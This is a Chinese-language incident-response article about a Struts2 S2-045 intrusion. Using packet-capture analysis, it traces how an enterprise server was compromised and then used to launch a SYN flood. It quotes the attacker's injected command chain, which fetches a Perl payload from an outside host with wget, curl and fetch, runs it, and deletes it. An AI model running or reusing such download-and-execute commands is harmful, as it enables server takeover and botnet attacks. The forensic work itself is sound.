從數(shù)據(jù)包視角解析新型Struts2漏洞攻擊全過程
萬年漏洞王 Struts2作為世界上最流行的 Java Web 服務(wù)器框架之一,已經(jīng)被炒得沸沸揚(yáng)揚(yáng),其原因是由于 Apache Struts2 的 Jakarta Multipart parser 插件存在遠(yuǎn)程代碼執(zhí)行漏洞,攻擊者可以在使用該插件上傳文件時(shí),修改 HTTP 請求頭中的 Content-Type 值來觸發(fā)該漏洞,導(dǎo)致遠(yuǎn)程執(zhí)行代碼。
新的漏洞出現(xiàn),必然會(huì)存在漏洞利用的情況,如果在沒有升級和打補(bǔ)丁的情況下已被攻擊,即使漏洞得到修復(fù)仍有潛在風(fēng)險(xiǎn),那么如何判斷是否已經(jīng)被攻擊了呢?本文通過數(shù)據(jù)包視角,基于網(wǎng)絡(luò)回溯分析技術(shù),針對最近新型Struts2漏洞攻擊行為典型事件進(jìn)行深層解析,打破傳統(tǒng)思維模式,提供解決未知問題的新思路。
1. 問題描述
科來針對本次struts2漏洞為用戶進(jìn)行網(wǎng)絡(luò)安全分析服務(wù),在與某中國500強(qiáng)企業(yè)集團(tuán)公司安全運(yùn)維人員溝通時(shí)了解到該企業(yè)互聯(lián)網(wǎng)出口防火墻CPU利用率持續(xù)保持在80%左右,而且涌現(xiàn)出關(guān)于內(nèi)部服務(wù)器*.35大量告警日志,防火墻高負(fù)載工作導(dǎo)致服務(wù)器網(wǎng)絡(luò)緩慢。由于該服務(wù)器上承載著大量公司核心業(yè)務(wù),造成了嚴(yán)重影響。
通過在該集團(tuán)公司內(nèi)網(wǎng)的核心交換機(jī)上的網(wǎng)絡(luò)回溯分析系,進(jìn)行7*24小時(shí)全流量監(jiān)控(其工作模式可以簡單理解為部署在大型網(wǎng)絡(luò)環(huán)境中的“行車記錄儀”),并通過該系統(tǒng)還原事件發(fā)生過程,回溯分析可疑流量數(shù)據(jù)。
2. 分析過程
防火墻高負(fù)載與*.35服務(wù)器有關(guān),所以重點(diǎn)回溯分析*.35地址。問題服務(wù)器*.35一天多的時(shí)間共產(chǎn)生未知TCP應(yīng)用流量47.48G,其中與意大利IP 62.149.175.81通訊流量達(dá)到44.21GB,行為極為可疑。
回溯分析*.35與意大利IP會(huì)話通訊。兩者之間通訊流量平穩(wěn)(達(dá)6Mbps左右),任取一段時(shí)間,可以看到*.35與62.149.175.81:8080每條TCP會(huì)話客戶端數(shù)據(jù)包數(shù)、服務(wù)器數(shù)據(jù)包數(shù)一致,狀態(tài)均顯示連接被重置,平均包長71字節(jié),綜合這些特征,懷疑*.35發(fā)動(dòng)SYN Flood攻擊。
如下,*.35 向62.149.175.81發(fā)送SYN,后者快速回復(fù)RST的數(shù)據(jù)包,時(shí)間差不足1ms,推測為出口防火墻阻斷保護(hù)(因?yàn)楹笳呶挥谝獯罄?,所以后者真是返回RST數(shù)據(jù)包時(shí)間差應(yīng)大于50ms),*.35發(fā)出的SYN數(shù)量極多同時(shí)頻率極高現(xiàn)象,基本斷定*.35發(fā)動(dòng)了SYN Flood攻擊。
小結(jié):由于*.35發(fā)動(dòng)了SYN Flood攻擊,極高頻率地發(fā)送了大量的SYN包,防火墻對每個(gè)SYN包都需要進(jìn)行處理,嚴(yán)重消耗了出口防火墻性能,影響了正常業(yè)務(wù)通訊。
為了更深入找到*.35發(fā)動(dòng)SYN Flood的原因,提取了該服務(wù)器發(fā)動(dòng)攻擊前的流量深入分析。
香港IP 223.255.145.158嘗試?yán)肧truts2漏洞攻擊(在Content-type: 中插入非法字符串來遠(yuǎn)程執(zhí)行命令并嘗試執(zhí)行該腳本,執(zhí)行完成后刪除),執(zhí)行的腳本信息為:
- wget -qO - http://65.254.63.20/.jb | perl ;
- cd /tmp ;
- curl -O http://65.254.63.20/.jb ;
- fetch http://65.254.63.20/.jb ;
- perl .jb ;
- rm -rf .jb*,即問題服務(wù)器向65.254.63.20 get請求.jb文件。
進(jìn)一步分析,我們發(fā)現(xiàn)問題服務(wù)器*.35確實(shí)下載獲取到.jb文件。真實(shí)腳本為per1,可以看到62.149.175.81(SYN Flood目標(biāo)IP)及端口8080。綜合上文分析,基本上可以判定被黑客(所用IP 223.255.145.158)通過Struts2漏洞攻擊入侵后,執(zhí)行命令向美國IP 65.254.63.20請求下載了.jb文件,并執(zhí)行了per1腳本SYN Flood攻擊62.149.175.81.

3. 分析結(jié)論
通過以上分析,我們發(fā)現(xiàn)本次安全事件是黑客通過Struts2的S2-045漏洞,遠(yuǎn)程向問題服務(wù)器執(zhí)行惡意代碼,導(dǎo)致服務(wù)器主動(dòng)下載腳本并成為肉雞實(shí)施SYN Flood攻擊,科來立即告知該企業(yè)相關(guān)工作人員并建議盡快修復(fù)其漏洞。
4. 價(jià)值
該漏洞影響范圍極廣,涉及Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10多個(gè)版本。黑客可以利用該漏洞通過瀏覽器在遠(yuǎn)程服務(wù)器上執(zhí)行任意系統(tǒng)命令,將會(huì)對受影響站點(diǎn)造成嚴(yán)重影響,引發(fā)數(shù)據(jù)泄露、網(wǎng)頁篡改、植入后門、成為肉雞等安全事件??蓪姹靖轮罶truts 2.3.32 或者 Struts 2.5.10.1。
本案例中,我們通過全流量分析判定了入侵者對網(wǎng)絡(luò)及服務(wù)器的攻擊行為,幫助用戶發(fā)現(xiàn)網(wǎng)絡(luò)中存在的安全隱患,掌握黑客攻擊的手段,進(jìn)而快速采取相應(yīng)的防范措施。
當(dāng)今企業(yè)級客戶的業(yè)務(wù)系統(tǒng)日趨復(fù)雜,同時(shí)運(yùn)行實(shí)時(shí)性要求越來越高,有效提升用戶的運(yùn)維主動(dòng)性和分析處理問題效率已迫在眉睫。通過網(wǎng)絡(luò)回溯分析技術(shù)可以完整記錄網(wǎng)絡(luò)原始流量,提升對異常網(wǎng)絡(luò)行為的運(yùn)行態(tài)勢感知能力。
【本文是51CTO專欄作者“”李少鵬“”的原創(chuàng)文章,轉(zhuǎn)載請通過安全牛(微信公眾號id:gooann-sectv)獲取授權(quán)】